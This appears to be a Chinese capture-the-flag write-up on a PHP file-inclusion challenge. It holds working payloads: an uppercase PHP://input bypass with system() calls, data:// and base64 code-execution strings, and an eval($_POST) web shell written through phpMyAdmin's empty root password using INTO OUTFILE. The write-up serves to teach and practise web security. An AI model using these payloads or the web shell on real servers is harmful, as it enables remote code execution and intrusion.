本文最后更新于 368 天前,其中的信息可能已经有所发展或是发生改变。
一道比较简单的PHP包含漏洞题,单独写出来是因为在DALAO博客上面找到了挺多有意思的解法,一个个尝试一下。
题目
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
代码审计
大概的意思就是过滤掉传入的参数$page
含有的"php://"
(输入输出流)。
$page=$_GET['page'];
/***定义参数$page***/
while(strstr($page, "php://")) {
/***如果参数$page含有字符串"php://"***/
$page=str_replace("php://", "", $page);
/***删除字符串"php://""***/
}
绕过姿势
查看phpinfo();
phpinfo是php内置的函数,用于以网页的形式输出php的具体配置信息。
利用大小写敏感
allow_url_fopen :off/on
allow_url_include:on
使用条件
strstr()大小写敏感,用大写绕过判断PHP://
。
?page=PHP://input
POST传入数据,遍历根目录。
<?php system("ls")?>
或者用burp也可以。
可以得到。
然后访问flag文件。
<?php system("cat fl4gisisish3r3.php")?>
可以在注释找到flag。
data://伪协议
PHP.ini: data://协议必须双在on才能正常使用; allow_url_fopen :on allow_url_include:on php 版本大于等于 php5.2
?page=data://,<?php system("ls")?>
?page=data://text/plain,<?php system("ls")?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
同理可以获得flag。
?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
外部包含(*)
1.while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真。
3.利用hello参数将执行内容显示。
?page=http://127.0.0.1/index.php/?hello=<show_source("fl4gisisish3r3.php");?>
扫描后台文件
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
扫描后台,发现phpmyadmin可以访问。
登入phpmyadmin,账号为root,密码为空。
输入SQL执行语句。
select "<?php eval(@$_POST[oatmeal]);?>" into outfile'/tmp/test.php'
菜刀链接。
?page=/tmp/test.php
找文件目录得到flag。
data://伪协议传木马
原理跟上面一样,只不过是用data://数据流完成的